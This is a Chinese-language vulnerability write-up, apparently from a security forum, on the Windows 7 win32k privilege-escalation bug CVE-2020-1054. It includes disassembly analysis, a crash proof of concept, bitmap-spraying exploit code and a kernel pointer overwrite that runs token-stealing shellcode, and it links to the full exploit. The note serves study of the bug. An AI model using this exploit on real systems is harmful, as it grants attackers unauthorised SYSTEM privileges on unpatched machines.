CVE-2020-1054提權漏洞學習筆記

語言: CN / TW / HK

本文為看雪論壇優秀文章

看雪論壇作者ID:1900

前言

1.漏洞描述

該漏洞存在於win32k!vStrWrite01函式中,該函式在對BitMap物件中pvScan0成員所指向的畫素區域進行讀寫的時候,沒有判斷讀寫的地址是否已經越界,即超過了BitMap物件的畫素點範圍,導致BSOD的產生。通過合理的記憶體佈局,可以利用該漏洞擴大目標BitMap物件的sizlBitmap來擴大該BitMap物件的可讀寫範圍,利用此時被擴大讀寫範圍的BitMap物件來修改另一個BitMap物件的pvScan0就可以實現任意地址讀寫。

2.實驗環境

  • 作業系統:Win7 x64 7601 專業版

  • 編譯器:Visual Studio 2017

  • 偵錯程式:IDA Pro, WinDbg

漏洞分析

1.POC程式碼分析

該漏洞的POC程式碼如下:

VOID POC_CVE_2020_1054()
{
LoadLibrary("user32.dll");
HDC r0 = CreateCompatibleDC(0x0);
// CPR's original crash code called CreateCompatibleBitmap as follows
// HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
// however all following calculations/reversing in this blog will
// generally use the below call, unless stated otherwise
// this only matters if you happen to be following along with WinDbg
HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
SelectObject(r0, r1);
DrawIconEx(r0, 0x0, 0x0, (HICON)0x30000010003, 0x0, 0xfffffffffebffffc,
0x0, 0x0, 0x6);
}

POC程式碼通過CreateComatibleBitmap物件來建立了一個BitMap物件用來觸發漏洞,該函式定義如下:

HBITMAP CreateCompatibleBitmap(HDC hdc,
int nWidth,
int nHeight);

漏洞觸發函式則是DrawIconEx,該函式用於在指定的裝置上下文中繪製圖像,該函式定義如下:

BOOL WINAPI DrawIconEx(HDC hdc,
int xLeft,
int yTop,
HICON hIcon,
int cxWidth,
int cyWidth,
UINT istepIfAniCur,
HBRUSH hbrFlickerFreeDraw,
UINT diFlags);

編譯執行POC,系統就會產生BSOD錯誤,以下的部分錯誤資訊:

0: kd> !analyze -v
Connected to Windows 7 7601 x64 target at (Tue Jul 12 10:00:11.147 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************


PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: fffff906c5000238, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff9600011218a, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000005, (reserved)


Debugging Details:
------------------


IMAGE_NAME: win32k.sys


TRAP_FRAME: fffff88005386a40 -- (.trap 0xfffff88005386a40)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff900c5000000 rbx=0000000000000000 rcx=fffff906c5000238
rdx=fffff900c06f7fa0 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600011218a rsp=fffff88005386bd0 rbp=0000000000000000
r8=0000000000000020 r9=fffff96000070000 r10=fffff88005386c30
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na po cy
win32k!vStrWrite01+0x36a:
fffff960`0011218a 418b36 mov esi,dword ptr [r14] ds:00000000`00000000=????????


STACK_TEXT:
nt!RtlpBreakWithStatusInstruction
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x71e
nt!KeBugCheckEx+0x104
nt! ?? ::FNODOBFM::`string'+0x44891
nt!KiPageFault+0x16e
win32k!vStrWrite01+0x36a
win32k!EngStretchBltNew+0x164a
win32k!EngStretchBlt+0x797
win32k!EngStretchBltROP+0x5fe
win32k!BLTRECORD::bStretch+0x623
win32k!GreStretchBltInternal+0xa37
win32k!BltIcon+0x18f
win32k!DrawIconEx+0x3b1
win32k!NtUserDrawIconEx+0x14d
nt!KiSystemServiceCopyEnd+0x13
USER32!NtUserDrawIconEx+0xa
USER32!DrawIconEx+0xd9

根據錯誤資訊可以知道,產生BSOD錯誤的程式碼地址位於win32k!vStrWrite01偏移0x36A處,產生原因是對不合法的地址,即0地址進行讀取操作。

2.vStrWrite01函式分析

在NT4原始碼中可以找到vStrWrite01函式的定義如下:

VOID vStrWrite01(STRRUN  *prun, 
XRUNLEN *pxrlEnd,
SURFACE *pSurf,
CLIPOBJ *pco)

其中,與漏洞相關的前三個引數定義如下:

typedef struct _XRUNLEN
{
LONG xPos;
LONG cRun;
LONG aul[1];
} XRUNLEN;


typedef struct _STRRUN
{
LONG yPos;
LONG cRep;
XRUNLEN xrl;
} STRRUN;




typedef struct tagSIZE {
LONG cx;
LONG cy;
} SIZE,*PSIZE,*LPSIZE;


typedef SIZE SIZEL;


typedef struct _BASEOBJECT64{
ULONG64 hHmgr; // 0x00
ULONG32 ulShareCount; // 0x08
WORD cExclusiveLock; // 0x0A
WORD BaseFlags; // 0x0C
ULONG64 Tid; // 0x10
} BASEOBJECT64;


typedef struct _SURFOBJ64{
BASEOBJECT64 baseObj; // 0x00
ULONG64 dhsurf; // 0x18
ULONG64 hsurf; // 0x20
ULONG64 dhpdev; // 0x28
ULONG64 hdev; // 0x30
SIZEL sizlBitmap; // 0x38
ULONG64 cjBits; // 0x40
ULONG64 pvBits; // 0x48
ULONG64 pvScan0; // 0x50
ULONG32 lDelta; // 0x58
ULONG32 iUniq; // 0x5C
ULONG32 iBitmapFormat; // 0x60
USHORT iType; // 0x64
USHORT fjBitmap; // 0x66
} SURFOBJ64;

根據WinDbg的錯誤資訊可以在IDA中定位到觸發錯誤的程式碼,在觸發錯誤的程式碼上面不遠處就可以看到,讀取的記憶體地址由rcx與rax決定,所以就需要分析rcx與rax的計算才能知道讀取的記憶體地址。

在vStrWrite01函式首先對引數進行賦值,並判斷相關引數是否條件,這裡的三個跳轉都不會進行:

.text:FFFFF97FFF0A5118 ; void __fastcall vStrWrite01(struct _STRRUN *prun, struct _XRUNLEN *pxrlEnd, struct SURFACE *pSurf, struct _CLIPOBJ *pco)
.text:FFFFF97FFF0A5118 ?vStrWrite01@@YAXPEAU_STRRUN@@PEAU_XRUNLEN@@PEAVSURFACE@@PEAU_CLIPOBJ@@@Z proc near
.text:FFFFF97FFF0A5118 test rdx, rdx ; 判斷pxrlEnd是否為NULL
.text:FFFFF97FFF0A511B jz locret_FFFFF97FFF0A560E
.text:FFFFF97FFF0A5143 lea rax, [rcx+8] ; eax = prun->xrl
.text:FFFFF97FFF0A5147 mov rbx, r9 ; rbx = pco
.text:FFFFF97FFF0A514A mov r15, r8 ; r15 = pSurf
.text:FFFFF97FFF0A5152 mov rdi, rax ; rdi = prun->xrl
.text:FFFFF97FFF0A515A mov rsi, rcx ; rsi = prun
.text:FFFFF97FFF0A515D test rbx, rbx ; poc是否為NULL
.text:FFFFF97FFF0A5160 jnz loc_FFFFF97FFF0A53AC
.text:FFFFF97FFF0A53C7 mov ebp, [rsi] ; ebp = prun->yPos
.text:FFFFF97FFF0A53DE mov r11d, [rsi+4] ; r11d = prun->xrl->cRun
.text:FFFFF97FFF0A53FA mov eax, [r15+58h] ; eax = pSurf->lDelta
.text:FFFFF97FFF0A53FE imul eax, ebp ; eax = pSurf->lDelta * prun->yPos
.text:FFFFF97FFF0A5401 movsxd rcx, eax ; rcx = pSurf->lDelta * prun->yPos
.text:FFFFF97FFF0A5404 add rcx, [r15+50h] ; rcx = pSurf->lDelta * prun->yPos + pSurf->pvScan0
.text:FFFFF97FFF0A5408 mov [rsp+0A8h+var_rcx], rcx ; 儲存rcx的數值
.text:FFFFF97FFF0A540D test r11d, r11d ; 判斷prun->yPos是否為0
.text:FFFFF97FFF0A5410 jz loc_FFFFF97FFF0A55F7

將r11d減一,也就是將保持的prun->xrl->cRun減一,之後就開始計算rcx和rax,在用rcx和rax來計算r14,即計算之後要讀取的記憶體地址:

.text:FFFFF97FFF0A541D                 mov     r12d, 1
.text:FFFFF97FFF0A5423 loc_FFFFF97FFF0A5423:
.text:FFFFF97FFF0A5423 sub r11d, r12d ; r11d = r11d - 1
.text:FFFFF97FFF0A5450 movsxd rbx, dword ptr [rdi] ; rbx = prun->xrl->xPos
.text:FFFFF97FFF0A545A mov rax, rbx ; rax = prun->xrl->xPos
.text:FFFFF97FFF0A5460 sar rax, 5 ; rax = prun->xrl->xPos >> 5
.text:FFFFF97FFF0A546D lea r14, [rcx+rax*4]

接下去執行就是導致BSOD錯誤產生的mov esi, [r14]這條指令。如果r14中保持地址是合法的地址,之後就會對讀取到的值進行or運算或者and運算:

把運算以後得到的值在賦值回r14指向的記憶體地址:

.text:FFFFF97FFF0A5579                 mov     [r14], esi

對rcx進行增加,在判斷r11d是否為0,如果不為0就會跳轉到loc_FFFFF97FFF0A5423,也就是跳轉到上面的sub r11d, r12d指令開始,再次執行上述的這些指令:

.text:FFFFF97FFF0A5580                 mov     rcx, [rsp+0A8h+var_rcx]  ; 將之前儲存的rcx賦值給rcx
.text:FFFFF97FFF0A55B7 movsxd rax, dword ptr [r15+58h] ; rax = pSurf->lDelta
.text:FFFFF97FFF0A55BE add rcx, rax ; rcx = rcx + pSurf->lDelta
.text:FFFFF97FFF0A55EE test r11d, r11d
.text:FFFFF97FFF0A55F1 jnz loc_FFFFF97FFF0A5423

根據上面分析,可以得出要讀寫的記憶體地址,即r14暫存器的值的計算可以用以下迴圈來計算:

for (i = 0; i < prun->yPos; i++)
{
r14 = pSurf->lDelta * prun->yPos + pSurf->pvScan0 + (prun->xrl->xPos >> 5) * 4 + i * pSurf->lDelta
// 對r14指向的記憶體地址進行讀寫
}

漏洞利用

漏洞利用的步驟如下:

① 建立用來觸發漏洞的BitMap物件hExpBitMap。

② 在hExpBitMap偏移0x100070000處放置一個BitMap物件,作為hManager。

③ 在hManager之後偏移0x7000地址處分配一個BitMap物件作為hWorker。

④ 觸發漏洞,擴大hManager所對應的BitMap物件的sizelBitmap來擴大hManager的可讀寫範圍。

⑤ 通過hManager修改hWorker對應的BitMap物件的pvScan0,就可以實現任意地址讀寫實現提權。

為了成功建立用於利用的hManager和hWorker,需要通過噴射大量0x7000大小的BitMap物件,相應的程式碼如下:

BOOL Exploit_CVE_2020_1054()
{
BOOL bRet = TRUE;


if (!LoadLibrary("user32.dll"))
{
bRet = FALSE;
ShowError("LoadLibrary", GetLastError());
goto exit;
}


HDC hdc = NULL;
hdc = CreateCompatibleDC(NULL);
if (!hdc)
{
bRet = FALSE;
ShowError("CreateCompatibleDC", GetLastError());
goto exit;
}


HBITMAP hExpBitMap = NULL;


hExpBitMap = CreateCompatibleBitmap(hdc, 0x51500, 0x100);
if (!hExpBitMap)
{
bRet = FALSE;
ShowError("CreateCompatibleBitmap", GetLastError());
goto exit;
}


ULONG64 ulExpBitMap = GetBitMapKerAddr(hExpBitMap);
ULONG64 oob_target = (ulExpBitMap & 0xfffffffffff00000) + 0x0000000100000000;


HBITMAP hManager = NULL, hWorker = NULL;
ULONG64 ulManager = 0, ulWorker = 0;


while (true)
{
HBITMAP hBitMap = NULL;


hBitMap = CreateCompatibleBitmap(hdc, 0x6F000, 0x8);
if (!hBitMap)
{
bRet = FALSE;
ShowError("CreateCompatibleBitmap", GetLastError());
goto exit;
}


ULONG64 ulBitMapKerAddr = GetBitMapKerAddr(hBitMap);


if (hManager)
{
ulWorker = ulBitMapKerAddr;
hWorker = hBitMap;
break;
}
else if (ulBitMapKerAddr >= oob_target && (ulBitMapKerAddr & 0x0000000000070000) == 0x70000)
{
ulManager = ulBitMapKerAddr;
hManager = hBitMap;
}
}


// 觸發漏洞,修改hManger的可讀寫範圍
SelectObject(hdc, hExpBitMap);
DrawIconEx(hdc, 0x900, 0xb, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);
exit:
return bRet;
}

編譯執行程式,在觸發漏洞之前,hManager對應的BitMap物件的sizlBitmap的值如下:

觸發漏洞之後,就可以看到可讀寫的範圍被成功的擴大:

執行結果

成功擴大hManager的讀寫範圍之後,就可以通過修改hWorker的pvScan0來實現任意地址讀寫,最終實現提權,相應程式碼如下:

BOOL EnablePrivilege_CVE_2020_1054(HBITMAP hManager, HBITMAP hWorker, ULONG64 ulSize)
{
BOOL bRet = TRUE;
PVOID pBuf = NULL;


pBuf = malloc(ulSize + 0x10);
if (!pBuf)
{
bRet = FALSE;
ShowError("malloc", GetLastError());
goto exit;
}
ZeroMemory(pBuf, ulSize + 0x10);


if (!GetBitmapBits(hManager, ulSize, pBuf))
{
bRet = FALSE;
ShowError("GetBitmapBits", GetLastError());
goto exit;
}


ULONG64 ulHalQuerySystenInformation = (ULONG64)GetHalQuerySystemInformation();
if (!ulHalQuerySystenInformation)
{
bRet = FALSE;
goto exit;
}


*(PULONG64)((ULONG64)pBuf + ulSize) = ulHalQuerySystenInformation;
if (!SetBitmapBits(hManager, ulSize + sizeof(ULONG64), pBuf))
{
bRet = FALSE;
ShowError("SetBitmapBits", GetLastError());
goto exit;
}


ULONG64 ulOrg = 0;


if (!GetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
{
bRet = FALSE;
ShowError("GetBitmapBits", GetLastError());
goto exit;
}


ULONG64 ulShellCode = (ULONG64)ShellCodeInWin7;
if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulShellCode))
{
bRet = FALSE;
ShowError("GetBitmapBits", GetLastError());
goto exit;
}


if (!CallNtQueryIntervalProfile())
{
bRet = FALSE;
goto exit;
}


if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
{
bRet = FALSE;
ShowError("GetBitmapBits", GetLastError());
goto exit;
}


exit:
return bRet;
}

完成程式碼儲存在: https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2020-1054.cpp 。執行程式,即可成功提權:

參考資料

https://bbs.pediy.com/thread-260884.htm

https://www.anquanke.com/post/id/209329

https://www.cnblogs.com/DreamoneOnly/p/13207943.html

看雪ID:1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪論壇 1900 原創,轉載請註明來自看雪社群

#

往期推薦

1. 因優化而導致的溢位與CVE-2020-16040

2. LLVM PASS PWN 總結

3. win10 1909逆向之APIC中斷和實驗

4. EMET下EAF機制分析以及模擬實現

5. sql注入學習分享

球分享

球點贊

球在看

點選“閱讀原文”,瞭解更多!